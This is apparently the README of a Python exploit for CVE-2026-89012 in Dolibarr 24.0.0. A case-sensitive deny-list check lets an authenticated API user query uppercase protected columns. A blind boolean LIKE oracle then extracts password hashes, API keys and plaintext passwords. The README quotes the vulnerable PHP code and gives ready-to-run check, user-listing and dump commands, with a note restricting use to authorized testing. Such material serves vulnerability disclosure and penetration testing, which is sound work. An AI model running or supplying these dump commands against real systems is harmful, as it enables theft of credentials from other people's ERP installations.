
Exploit en Python para CVE-2026-89012, un bypass de la lista de denegación del filtro SQL de Dolibarr que utiliza un oráculo booleano ciego para extraer hashes de contraseñas y claves de API a través de la API REST.
Exploit para CVE-2026-89012: la lista de denegación de campos prohibidos en
forgeSQLFromUniversalSearchCriteria() (introducida con la corrección de CVE-2026-71510)
utiliza un in_array() sensible a mayúsculas y minúsculas mientras que el conjunto de caracteres del operando permite A-Z.
Dado que la resolución de columnas SQL no distingue entre mayúsculas y minúsculas, un usuario autenticado de la API puede
consultar t.PASS_CRYPTED en lugar de t.pass_crypted y omitir la lista de denegación.
Los predicados LIKE con prefijo convierten sqlfilters en un oráculo booleano ciego que
recupera los hashes de contraseñas carácter por carácter.
Registro: https://www.cve.org/CVERecord?id=CVE-2026-89012
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) { // case-sensitive
return '1=1';
}
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check
# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users
# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump
# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex
Solo biblioteca estándar (Python 3.8+). Compatible con --proxy, --insecure, --timeout.
Nota: bajo una colación que no distingue entre mayúsculas y minúsculas (la predeterminada), el valor bcrypt se
recupera exactamente hasta el caso de los caracteres; las columnas de texto plano (llx_adherent.pass
a través de /api/index.php/members, pass_temp) se recuperan byte a byte.

Solo para pruebas e investigación autorizadas. Úsalo únicamente contra sistemas que poseas o para los que tengas permiso explícito de probar.
| Afectado | Dolibarr 24.0.0 |
| Corregido | 24.0.1 |
| Requisitos previos | token de API válido con users->lire |
| Impacto | divulgación de pass_crypted, api_key, pass, pass_temp, openid |